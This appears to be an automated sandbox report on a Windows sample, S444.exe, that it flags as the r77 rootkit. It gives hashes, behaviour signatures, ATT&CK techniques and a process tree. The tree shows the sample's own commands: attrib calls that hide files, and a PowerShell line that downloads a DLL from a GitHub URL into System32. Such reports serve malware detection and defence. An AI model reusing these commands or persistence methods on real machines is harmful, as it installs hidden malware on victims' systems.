Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-12-2024 23:08

General

  • Target

    S444.exe

  • Size

    33KB

  • MD5

    17e158e0f91dcc8168f2e416035926ed

  • SHA1

    aac8bf1174db86568aab282b8a8de953c372ef1e

  • SHA256

    bb0ef384a2d6f8fff82eecd15908bd39146ffa65810c2c56934c32c88abac94b

  • SHA512

    383df3fa4eaecbfc6698961d3a8f5fe726db3e0cddf83f357bc9f2947328a284f4fe5b13f2eb866ea9c50eafbb5fc45b788b8401edffcbfc5bf068f545dd167c

  • SSDEEP

    768:WdQHdYES3hnpwEC/uc/zBaP09K737hNWhlLF:W7x8zgs9W37hMPJ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Signatures

  • R77 family
  • r77

    r77 is an open-source, userland rootkit.

  • r77 rootkit payload 1 IoCs

    Detects the payload of the r77 rootkit.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\S444.exe
    "C:\Users\Admin\AppData\Local\Temp\S444.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4388
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\S444.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Windows\SysWOW64\attrib.exe
        attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\S444.exe"
        3⤵
        • Sets file to hidden
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:2008
    • C:\System32\$77-System32.exe
      "C:\System32\$77-System32.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c attrib +s +h +r "C:\System32\$77-System32.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:112
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h +r "C:\System32\$77-System32.exe"
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1900
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','\System32\r77-x64.dll');exit
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4580

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\System32\$77-System32.exe

    Filesize

    33KB

    MD5

    17e158e0f91dcc8168f2e416035926ed

    SHA1

    aac8bf1174db86568aab282b8a8de953c372ef1e

    SHA256

    bb0ef384a2d6f8fff82eecd15908bd39146ffa65810c2c56934c32c88abac94b

    SHA512

    383df3fa4eaecbfc6698961d3a8f5fe726db3e0cddf83f357bc9f2947328a284f4fe5b13f2eb866ea9c50eafbb5fc45b788b8401edffcbfc5bf068f545dd167c

  • C:\System32\r77-x64.dll

    Filesize

    147KB

    MD5

    1b8bd653321cf3cbc786e563555fbc75

    SHA1

    5638efe0476c8c1b74c6604db419be814d1d90a0

    SHA256

    919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7

    SHA512

    bafdbc8413828c5427983fa0e9403a2d9a88d0ad2f27f92842310852d273f2d2c9a0c6f9f64e1aac03fadf49f9a3bcf58c6b7c8b06debcce46536114cde0175b

  • C:\Users\Admin\AppData\Local\Temp\0znvku5p.le1

    Filesize

    20KB

    MD5

    49693267e0adbcd119f9f5e02adf3a80

    SHA1

    3ba3d7f89b8ad195ca82c92737e960e1f2b349df

    SHA256

    d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

    SHA512

    b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

  • C:\Users\Admin\AppData\Local\Temp\Rot.bat

    Filesize

    229B

    MD5

    5623353a38611880912397750358a0cf

    SHA1

    1abfda3058cae5b11da3e6551fbec2eb354a25d3

    SHA256

    4b97706d98357279a5f3f1c720f384a47d020a1fbb6aac5460e1d87786aba86c

    SHA512

    78b78820ce33341f40f71924087d255b6ec74472bb22562a2bfadf5f090662c691d5a293f5f8148477f414cf7f38c53c490b595489d79966d944dfe73097f0fb

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dsoegfpj.vdf.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2652-55-0x0000000006B00000-0x0000000006B0A000-memory.dmp

    Filesize

    40KB

  • memory/2652-57-0x00000000064A0000-0x00000000064AA000-memory.dmp

    Filesize

    40KB

  • memory/2652-44-0x0000000075320000-0x0000000075AD0000-memory.dmp

    Filesize

    7.7MB

  • memory/2652-19-0x0000000075320000-0x0000000075AD0000-memory.dmp

    Filesize

    7.7MB

  • memory/2652-20-0x0000000075320000-0x0000000075AD0000-memory.dmp

    Filesize

    7.7MB

  • memory/2652-56-0x0000000006420000-0x000000000642E000-memory.dmp

    Filesize

    56KB

  • memory/2652-54-0x0000000006B30000-0x0000000006BC2000-memory.dmp

    Filesize

    584KB

  • memory/2652-60-0x0000000007880000-0x0000000007918000-memory.dmp

    Filesize

    608KB

  • memory/2652-63-0x0000000007C30000-0x0000000007F84000-memory.dmp

    Filesize

    3.3MB

  • memory/2652-62-0x0000000007BE0000-0x0000000007C30000-memory.dmp

    Filesize

    320KB

  • memory/2652-61-0x0000000007AF0000-0x0000000007B84000-memory.dmp

    Filesize

    592KB

  • memory/4388-3-0x00000000057E0000-0x000000000587C000-memory.dmp

    Filesize

    624KB

  • memory/4388-5-0x0000000075320000-0x0000000075AD0000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-1-0x0000000000D20000-0x0000000000D2E000-memory.dmp

    Filesize

    56KB

  • memory/4388-4-0x0000000005710000-0x0000000005776000-memory.dmp

    Filesize

    408KB

  • memory/4388-0-0x000000007532E000-0x000000007532F000-memory.dmp

    Filesize

    4KB

  • memory/4388-18-0x0000000075320000-0x0000000075AD0000-memory.dmp

    Filesize

    7.7MB

  • memory/4388-2-0x0000000005D90000-0x0000000006334000-memory.dmp

    Filesize

    5.6MB

  • memory/4580-27-0x0000000005350000-0x0000000005978000-memory.dmp

    Filesize

    6.2MB

  • memory/4580-43-0x00000000066C0000-0x00000000066DA000-memory.dmp

    Filesize

    104KB

  • memory/4580-42-0x00000000077D0000-0x0000000007E4A000-memory.dmp

    Filesize

    6.5MB

  • memory/4580-41-0x0000000006240000-0x000000000628C000-memory.dmp

    Filesize

    304KB

  • memory/4580-40-0x00000000061A0000-0x00000000061BE000-memory.dmp

    Filesize

    120KB

  • memory/4580-39-0x0000000005BD0000-0x0000000005F24000-memory.dmp

    Filesize

    3.3MB

  • memory/4580-29-0x0000000005AF0000-0x0000000005B56000-memory.dmp

    Filesize

    408KB

  • memory/4580-28-0x00000000051E0000-0x0000000005202000-memory.dmp

    Filesize

    136KB

  • memory/4580-26-0x00000000028B0000-0x00000000028E6000-memory.dmp

    Filesize

    216KB